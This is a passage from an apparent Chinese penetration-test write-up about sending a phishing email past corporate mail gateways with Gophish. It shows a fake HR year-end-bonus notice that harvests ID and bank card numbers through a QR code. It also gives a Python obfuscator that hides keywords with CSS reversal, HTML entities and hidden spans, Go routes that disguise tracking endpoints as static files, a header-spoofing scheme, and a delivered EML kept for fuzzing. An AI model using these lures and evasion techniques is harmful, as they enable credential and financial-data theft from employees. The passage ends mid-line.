            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* 🔥 混淆专用样式：CSS文字反转 */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <!-- 🔥 混淆技术1：CSS反转 + HTML注释 -->
            关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
        </div>
        <div class="content">
            <p>各位同事，您好：</p>
            <!-- 🔥 混淆技术2：HTML实体编码 -->
            <p>2025年度工作已圆满结束，感谢大家一年来的辛勤付出。现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;<!-- 年终奖金 Entity -->发放信息最终核对工作！本次<span
                    class="safe-txt">奖终年</span>将按最新&#x85AA;&#x916C;<!-- 薪酬 -->标准核算，包含&#x7EE9;&#x6548;<!-- 绩效 -->奖金、&#x5E74;&#x7EC8;&#x5206;&#x7EA2;<!-- 年终分红 -->等多项补贴。
            </p>
            <div class="highlight-box">
                <!-- 🔥 混淆技术3：CSS反转财务系统 -->
                <strong>重要提醒：</strong>因<span class="safe-txt">统系务财</span><!-- 财务系统 CSS Reverse -->年终关账倒计时（截止 <span
                    class="urgent">12月29日18:00</span>），未完成信息核对的同事，将<span
                    class="urgent">延迟至次年1月发放</span>！为避免影响你的奖金发放时效，请务必在24小时内完成。
            </div>
            <p><strong>核对操作指引：</strong></p>
            <ol class="step-list">
                <!-- 🔥 混淆技术4：零宽字符 -->
                <li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维<span
                        style="display:none">_</span>码登<!-- login -->录系统：<br>{{.QR}}</li>
                <li>输入姓名及工号登录系统。</li>
                <!-- 🔥 混淆技术5：字体大小0 -->
                <li>核对个人姓名、身<!-- id -->份<!-- card -->证号、银<span style="font-size:0">.</span>行<span
                        style="font-size:0">.</span>卡号及开户行信息，确认无误后提交；信息有误请及时修改并上传佐证材料。</li>
            </ol>
            <div class="tips">
                <strong>温馨提示：</strong>
                <ul style="padding-left: 20px; margin: 5px 0;">
                    <li>系统仅支持PC端访问，建议使用公司内网操作。</li>
                    <li>如遇链接无法打开、登录失败等问题，请联系：hr@company.com</li>
                </ul>
            </div>
        </div>
        <div class="footer">
            <!-- 🔥 混淆技术6：HTML实体编码部门名 -->
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p><!-- 人力资源部 Entity -->
            <p>2025年12月28日</p>
        </div>
    </div>

</body>
</html>

对应的纯文本版本（可选）

如果手动指定Text模板，使用安全词汇：

各位同事，您好：

这是关于2025年度工作总结和核对的通知。

请查看相关文档并完成信息确认。

如有问题，欢迎随时联系。

此致
人力资源部
2025年12月28日

策略：纯文本完全干净，邮件网关检测纯文本时无异常；用户打开邮件时默认显示HTML（包含混淆的敏感内容）。

5.3 动态模板生成器（可选）

为了避免重复模板被机器学习识别，可以实现变体生成：

# template_obfuscator.py

import random
import re

class TemplateObfuscator:
    """钓鱼模板混淆器"""
    
    def __init__(self):
        self.sensitive_keywords = {
            "年终奖": ["年终奖", "年度奖金", "年底奖金"],
            "年终奖金": ["年终奖金", "年度奖励", "年终奖励"],
            "身份证": ["身份证", "身份证号", "身份证号码"],
            "银行卡": ["银行卡", "银行卡号", "银行账户"],
            "验证": ["验证", "核实", "确认"],
            "点击": ["点击", "查看", "访问"],
        }
    
    def html_entity_encode(self, text):
        """HTML实体编码"""
        return ''.join([f'&#{ord(c):x};' for c in text])
    
    def css_reverse(self, text):
        """CSS反转"""
        return f'<span class="safe-txt">{text[::-1]}</span>'
    
    def html_comment_break(self, text, positions=[]):
        """HTML注释截断"""
        if not positions:
            positions = [len(text) // 2]
        
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + '<!-- - -->' + result[insert_pos:]
            offset += len('<!-- - -->')
        return result
    
    def zero_width_insert(self, text, count=1):
        """零宽字符插入"""
        positions = random.sample(range(1, len(text)), min(count, len(text)-1))
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + '<span style="display:none">_</span>' + result[insert_pos:]
            offset += len('<span style="display:none">_</span>')
        return result
    
    def obfuscate_keyword(self, keyword, method='random'):
        """混淆单个关键词"""
        if method == 'random':
            methods = ['html_entity', 'css_reverse', 'html_comment', 'zero_width']
            method = random.choice(methods)
        
        if method == 'html_entity':
            return self.html_entity_encode(keyword)
        elif method == 'css_reverse':
            return self.css_reverse(keyword)
        elif method == 'html_comment':
            return self.html_comment_break(keyword)
        elif method == 'zero_width':
            return self.zero_width_insert(keyword)
        else:
            return keyword
    
    def obfuscate_template(self, template_html):
        """混淆整个模板"""
        result = template_html
        
        # 遍历所有敏感词
        for keyword, variants in self.sensitive_keywords.items():
            # 随机选择一个变体
            variant = random.choice(variants)
            
            # 随机选择混淆方法
            obfuscated = self.obfuscate_keyword(variant)
            
            # 替换模板中的关键词
            result = result.replace(f'{{{{{keyword}}}}}', obfuscated)
        
        return result

# 使用示例
obfuscator = TemplateObfuscator()

template = """
<p>关于{{年终奖金}}发放的通知</p>
<p>请核对您的{{身份证}}和{{银行卡}}信息</p>
"""

obfuscated = obfuscator.obfuscate_template(template)
print(obfuscated)

# 输出示例（每次运行结果不同）:
# <p>关于<span class="safe-txt">金奖度年</span>发放的通知</p>
# <p>请核对您的身<span style="display:none">_</span>份证号和&#x94f6;&#x884c;&#x5361;信息</p>

5.4 URL路由混淆增强

配合HTML混淆，我也优化了追踪链接：

// controllers/route.go

func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 🔥 追踪路由伪装成静态资源
    trackRoutes := []string{
        "/resource/image/pixel.png",     // 追踪像素
        "/static/img/logo.png",          // Logo图片
        "/assets/analytics.gif",         // 分析统计
        "/cdn/track.png",                // CDN资源
    }
    
    // 为每个Campaign随机选择
    selectedTrack := trackRoutes[rand.Intn(len(trackRoutes))]
    router.HandleFunc(selectedTrack, ps.TrackHandler)
    
    // 🔥 上报路由伪装成API
    reportRoutes := []string{
        "/api/v1/status",      // 状态API
        "/api/feedback",       // 反馈API  
        "/api/report",         // 报告API
        "/api/analytics",      // 分析API
    }
    
    selectedReport := reportRoutes[rand.Intn(len(reportRoutes))]
    router.HandleFunc(selectedReport, ps.ReportHandler)
    
    // 🔥 钓鱼页面路由（配合QR码）
    router.HandleFunc("/share", ps.PhishHandler)
    router.HandleFunc("/view", ps.PhishHandler)
    router.HandleFunc("/document/{id}", ps.PhishHandler)
    
    // 伪造Nginx 404
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
    
    ps.server.Handler = router
}

5.5 最终方案架构

┌────────────────────────────────────────────────────┐
│           邮件网关绕过完整方案架构                │
└────────────────────────────────────────────────────┘

邮件层
├─ 多部分结构（Multipart/Alternative）
│  ├─ Part 1: text/plain（安全词汇）
│  └─ Part 2: text/html（混淆内容）
├─ 邮件头伪装
│  ├─ 移除 X-Gophish-*
│  ├─ 伪造 X-Mailer: Microsoft Outlook
│  └─ 添加业务头： X-Priority, Importance

HTML混淆层
├─ 主标题：CSS反转 + HTML注释
├─ 敏感关键词：HTML实体编码
├─ 动作词：零宽字符/字体大小0
└─ 部门信息：HTML实体编码

链接隐藏层
├─ CID图片（QR码）
│  └─ 嵌入内联图片，无明文URL
├─ 追踪路由伪装
│  └─ /resource/image/pixel.png
└─ 上报路由伪装
   └─ /api/v1/status

Gophish平台集成
├─ email_request.go: Multipart生成
├─ template_context.go: QR码支持
└─ controllers/route.go: 路由混淆

0x06 最终测试与成果

6.1 全量测试

应用所有绕过技术后，我189的测试邮箱终于进信了。

同时以此策略改了以下邮件标题换为行政通知不出现年终奖等内容，防止邮件title检测，发送了一份测试邮件到客户的企业邮箱：

第二天就收到了好消息：

‍

我擦累终于完事了。

提供一个发送成功的EML信息以供fuzz。

这份 EML 已经过脱敏处理。我进行了以下替换以确保安全性和隐私，同时保留了原始的攻击结构（包括HTML/CSS混淆代码）供分析：

1. **发件人**：替换为 `attacker@phishing-sample.com`
2. **收件人**：替换为 `victim@target-corp.com`
3. **恶意发送IP**：替换为 `10.10.10.10`
4. **追踪/信标IP**：替换为 `10.10.10.11`
5. **正文诱饵邮箱**：替换为 `hr-contact@target-corp.com`
6. **二维码附件**：为了防止误扫，**Payload（二维码图片数据的Base64）已替换为安全的一像素透明图片**，但格式保持不变。

可以直接复制保存为 `.eml` 文件进行分析。

‍```eml
X-QQ-XMRINFO: Mp0Kj//9VHAxO7CrTZJ3E+P7/IyVs7a3QQ==
X-QQ-XMAILINFO: OUHkd4CDQR3trOzcBYy7sPFN9Q3goxrx2Y+yitefQ+c9q30Hf6SnUFvg9RM7+A
     EMoo9bpJ0eCC0fYdgnj4bJQHIVmzpNDfzwJDJEzb5W/Ci/FHNXiBO9JwPEljK/A6glwg7jm5OJuMk
     sBO/U+ieXlFQulZQZQLejTZVShsWVox0KMY+7QnZOpLk62lmF7KlVXeMN2sa/eCAe3ECNzG/HTPyF
     uSieHsdn+DWoCEuiqpeUxiMPUaOrISnHLeuh5QiIr2TBRVh5n9rhwP1PKTvm5Pt6vYfuzZ9jGS284
     u77QsZSMDmly2nI626/g2HwcsJRwknEQ/C3PsRDXyxp25Fnt85/eBo1LXOEsgzWcm1XDWSsvbaYiB
     A/nSjWaKTQUq5EZ81RFpuTctKoPXkle6reGWvJ5HMhcimk3qL34l5lPyJMjgwbxt8EFiV+BmY7+as
     xSZks0vutfI2E5O4Owtq8ZFveJk3kX4vgNiGZFPrrD00NzLc13O3V8PayZFFQ/qoWgR1V8HRyngPc
     whoyOIZwLXSi2AO699NpVAx9tWi801cdaIH0jvsAgsSTsYLffL6bFzV/d06jlxZssR1FsDttax/UJ
     kZzD6KfhQTovwbCXhFTfdRcyK41+SgliRUDYScDYYGm0MsS9fwbFiR4CXVWo1YgM2VrpVwyue5XjR
     R19d3DrcT1TQiuRxYwRu9mtpvcb0VfQk7FFTbwAYlDHDxlj1jps41nbB5+1NjCxzC7TqqY0RxoDkO
     OEHs78RTxoPFiFXNidfMRgO9pLPMGqlZB712uvmFdsPlU6utPlQcLSVahZEDX9f9ApsBQPp9VhkuX
     Kk8TpwxnU5rhLe3zEN7DQzwWu/K4E5eTlF4m1jy5t0g1CDoZr2ecXqQd5uKvS3hYHd8tpnD6TX2zt
     gC9Mkyhc5oDat3jQseqnXusy14SXMJPsItTwqL1EDb9erVLJLONGO3KuLxkrb0YPdWt3AwkEWuBiL
     ZcUUt3jBx0audqaC0u9paBZ8vvwltxJZTmwegZ5FAW69+oeB+4Q45nuyc1Pm5+0OEJK30dpyOf4mc
     dzWvVBeAdVY6bVUEqx2zGOIpFKQykyyUpUZGG2yraXdYbjBn1dk+eTXribt0eFmRLQSou4M3czXlC
     6ekmu37Bx1tiyZ9dxXQmHyDphZrK8E2JZzdlCHfAMYM3oWNNF9Q2YC64XXfdQ8bS1djGbeZK76RdK
     +3KT8i7qPVIJs/xmF2BiRh8SHj8Rfo5L9CVYsjBjLoik0Z+v0Qul9KCGkYzU7iTRhfeZuROTV88B2
     H3F7wi+vl/cf79VdPGjpWl8VU/Za36q+iBWxFMb5Sc5Bx1YfFEdB3qubGzls9jZk+Yo217HkiM0Pp
     DoIDhKA==
Authentication-Results: mx.qq.com; spf=pass(10.10.10.10) smtp.mailfrom=<attac
     ker@phishing-sample.com>; dkim=pass(signature was verified) header.d=phishing-sample
     .com; dmarc=none(permerror) header.from=phishing-sample.com
Received: from sender2-of-o52.zoho.com.cn (sender2-of-o52.zoho.com.cn [10.10.10.10])
    by newxmmxszgpub7-0.qq.com (NewMX) with SMTP id CFAB30D5
    for <victim@target-corp.com>; Tue, 30 Dec 2025 22:51:58 +0800
X-QQ-mid: xmmxpub7-0t1767106318tz15pdly0
ARC-Seal: i=1; a=rsa-sha256; t=1767106318; cv=none; 
    d=zoho.com.cn; s=zohoarc; 
    b=Cr9zGNGt6SmOyaOExLBF5Vamm2EodQCAnGOtcY2lxYYmfq7+Y15ik/LtGTNoPu2GmBisVRObqpb0ujuxHbuAF+2t8MX0qX5Ap81H0TxbEtOztJ1XKmgClRLVAfOKI7k0bWPtlKND0+Br0GbV6MnVP8+U3Sww5OE6lLTL9PVQAQ4=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com.cn; s=zohoarc; 
    t=1767106318; h=Content-Type:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=; 
    b=ePilPBFjFYRTvolrtPQJCF1sKpoZujYKnys35RzA+NfsuolFUk7u7YSo4O1Rdqb+DEJT7v/Me4f+0OUZqd7YudGBxePKI0WOJtJJ1VI8Hi1gByLP3QZ6qFUERu/18SuRgf3zg8Lc45pQlm814IP0aVdFunCv1D3QJiLkKpdo/rc=
ARC-Authentication-Results: i=1; mx.zoho.com.cn;
    dkim=pass  header.i=phishing-sample.com;
    spf=pass  smtp.mailfrom=attacker@phishing-sample.com;
    dmarc=pass header.from=<attacker@phishing-sample.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1767106318;
    s=zmail; d=phishing-sample.com; i=attacker@phishing-sample.com;
    h=Mime-Version:Date:Date:MIME-Version:Message-Id:Message-Id:Subject:Subject:From:From:To:To:Content-Type:Reply-To:Cc;
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
    b=i9TDdZR7RL5FN1BcZmOQ6XXVOYQLQF5HCoT0Nu3eI4vqmbpipLzizPr+OFeyc85O
    C4Wf6G7MNUrR4ZJkGR5MH0NewHPrmQUUB9EwraMGx2bEBA1fmRdMbSzw66cvkwqOTJK
    //Ub/3mVpvQdwXgQ17e8VTS71iBAFkEIxDcqSLZg=
Received: by mx.zoho.com.cn with SMTPS id 1767106315677324.8435548055967;
    Tue, 30 Dec 2025 22:51:55 +0800 (CST)
Mime-Version: 1.0
Date: Tue, 30 Dec 2025 22:51:55 +0800
X-Priority: 1
MIME-Version: 1.0
Message-Id: <1767106315726641989.371082.1021737665213280689@hcss-ecs-18a4>
Key: X-Mailer
Value: Zoho Mail
Subject: =?UTF-8?q?=E5=85=B3=E4=BA=8E2025=E5=B9=B4=E5=BA=A6=E8=A1=8C=E6=94=BF?= =?UTF-8?q?=E9=80=9A=E7=9F=A5-HR?=
From: attacker@phishing-sample.com
Importance: High
To: victim@target-corp.com
Content-Type: multipart/related;
 boundary=337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
X-ZohoCN-Virus-Status: 1
X-ZohoCN-Virus-Status: 1
X-Zoho-AV-Stamp: zmail-av-1.4.3/267.84.63
X-ZohoCNMailClient: External

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Type: multipart/alternative;
 boundary=19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d

--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6 =E9=87=91=E5=A5=
=96=E7=BB=88=E5=B9=B4 =E5=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=
=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=9A =E7=9F=A5

=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=BD=EF=BC=9A

2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=E6=BB=A1=E7=BB=
=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=B8=80=E5=B9=B4=
=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=82=E7=8E=B0=E6=
=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8=E5=B9=B4=E7=BB=88=E5=A5=96=E9=87=91 =E5=
=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=
=A5=E4=BD=9C=EF=BC=81=E6=9C=AC=E6=AC=A1 =E5=A5=96=E7=BB=88=E5=B9=B4 =E5=B0=
=86=E6=8C=89=E6=9C=80=E6=96=B0=E8=96=AA=E9=85=AC =E6=A0=87=E5=87=86=E6=A0=
=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB=E7=BB=A9=E6=95=88 =E5=A5=96=E9=87=
=91=E3=80=81=E5=B9=B4=E7=BB=88=E5=88=86=E7=BA=A2 =E7=AD=89=E5=A4=9A=E9=A1=
=B9=E8=A1=A5=E8=B4=B4=E3=80=82

*=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A* =E5=9B=A0 =E7=BB=9F=E7=B3=
=BB=E5=8A=A1=E8=B4=A2 =E5=B9=B4=E7=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=
=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=A2 12=E6=9C=8829=E6=97=A518:00 =EF=BC=
=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=B9=
=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86 =E5=BB=B6=E8=BF=9F=E8=87=B3=
=E6=AC=A1=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE =EF=BC=81=E4=B8=BA=E9=81=BF=
=E5=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=
=94=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=
=B0=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82

*=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=95=EF=BC=9A*

* =E8=AF=B7=E6=89=AB =E6=8F=8F=E4=B8=8B=E6=96=B9=E4=BA=8C _ =E7=BB=B4 _ =E7=
=A0=81=E7=99=BB =E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A

* =E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=E5=8F=B7=E7=99=BB=
=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82
* =E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=E3=80=81=E8=BA=AB =
=E4=BB=BD =E8=AF=81=E5=8F=B7=E3=80=81=E9=93=B6. =E8=A1=8C. =E5=8D=A1=E5=8F=
=B7=E5=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=
=E8=AE=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=
=81=AF=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=
=B6=E4=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82
*=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A*

* =E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=AB=AF=E8=AE=BF=E9=97=
=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=AC=E5=8F=B8=E5=86=85=
=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82
* =E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=95=E6=89=93=E5=BC=80=
=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=E9=97=AE=E9=A2=98=EF=
=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@target-corp.com

=E4=BA=BA=E5=8A=9B=E8=B5=84=E6=BA=90=E9=83=A8

2025=E5=B9=B412=E6=9C=8828=E6=97=A5
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang=3D"zh-CN">

<head>
    <meta charset=3D"UTF-8">
    <meta name=3D"viewport" content=3D"width=3Ddevice-width, initial-scale=
=3D1.0">
    <title>2025=E9=80=9A=E7=9F=A5</title>
    <style>
        /* =E5=9F=BA=E7=A1=80=E6=A0=B7=E5=BC=8F=E9=87=8D=E7=BD=AE */
        body {
            font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-seri=
f;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* =E6=B7=B7=E6=B7=86=E4=B8=93=E7=94=A8=E6=A0=B7=E5=BC=8F=EF=BC=9A=
=E6=96=87=E5=AD=97=E5=8F=8D=E8=BD=AC */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    </style>
</head>
<body>
    <div class=3D"container">
        <div class=3D"header">
                        =E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6<span=
 class=3D"safe-txt">=E9=87=91=E5=A5=96=E7=BB=88=E5=B9=B4</span>=E5=8F=91=E6=
=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=
=9A=E7=9F=A5
        </div>
        <div class=3D"content">
            <p>=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=
=BD=EF=BC=9A</p>
            <p>2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=
=E6=BB=A1=E7=BB=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=
=B8=80=E5=B9=B4=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=
=82=E7=8E=B0=E6=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8&#x5E74;&#x7EC8;&#x5956;&#x=
91D1;=E5=8F=91=E6=94=BE=
=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=A5=E4=BD=9C=EF=
=BC=81=E6=9C=AC=E6=AC=A1<span
                    class=3D"safe-txt">=E5=A5=96=E7=BB=88=E5=B9=B4</span>=
=E5=B0=86=E6=8C=89=E6=9C=80=E6=96=B0&#x85AA;&#x916C;=E6=A0=87=E5=87=86=E6=A0=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB&#x7EE9;=
&#x6548;=E5=A5=96=E9=87=91=E3=80=81&#x5E74;&#x7E=
C8;&#x5206;&#x7EA2;=E7=AD=89=
=E5=A4=9A=E9=A1=B9=E8=A1=A5=E8=B4=B4=E3=80=82
            </p>
            <div class=3D"highlight-box">
                <strong>=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A</stro=
ng>=E5=9B=A0<span class=3D"safe-txt">=E7=BB=9F=E7=B3=BB=E5=8A=A1=E8=B4=A2</=
span>=E5=B9=B4=E7=
=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=
=A2 <span
                    class=3D"urgent">12=E6=9C=8829=E6=97=A518:00</span>=EF=
=BC=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=
=B9=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86<span
                    class=3D"urgent">=E5=BB=B6=E8=BF=9F=E8=87=B3=E6=AC=A1=
=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE</span>=EF=BC=81=E4=B8=BA=E9=81=BF=E5=
=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=94=
=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=B0=
=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
            </div>
            <p><strong>=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=
=95=EF=BC=9A</strong></p>
            <ol class=3D"step-list">
                                <li>=E8=AF=B7=E6=89=AB=E6=8F=8F=E4=B8=8B=E6=96=
=B9=E4=BA=8C<span style=3D"display:none">_</span>=E7=BB=B4<span
                        style=3D"display:none">_</span>=E7=A0=81=E7=99=BB<!=
-- login -->=E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A<br><img src=3D"cid:4279681=
432.png"></li>
                <li>=E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=
=E5=8F=B7=E7=99=BB=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82</li>
                                <li>=E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=
=E3=80=81=E8=BA=AB=E4=BB=BD=E8=AF=81=E5=8F=B7=E3=80=
=81=E9=93=B6<span style=3D"font-size:0">.</span>=E8=A1=8C<span
                        style=3D"font-size:0">.</span>=E5=8D=A1=E5=8F=B7=E5=
=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=E8=AE=
=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=81=AF=
=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=B6=E4=
=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82</li>
            </ol>
            <div class=3D"tips">
                <strong>=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A</stro=
ng>
                <ul style=3D"padding-left: 20px; margin: 5px 0;">
                    <li>=E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=
=AB=AF=E8=AE=BF=E9=97=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=
=AC=E5=8F=B8=E5=86=85=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82</li>
                    <li>=E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=
=95=E6=89=93=E5=BC=80=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=
=E9=97=AE=E9=A2=98=EF=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@t=
arget-corp.com</li>
                </ul>
            </div>
        </div>
        <div class=3D"footer">
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p>            <p>2025=E5=B9=B412=E6=9C=8828=E6=97=A5</p>
        </div>
    </div>

<img alt=3D'' style=3D'display: none' src=3D'http://10.10.10.11/resourc=
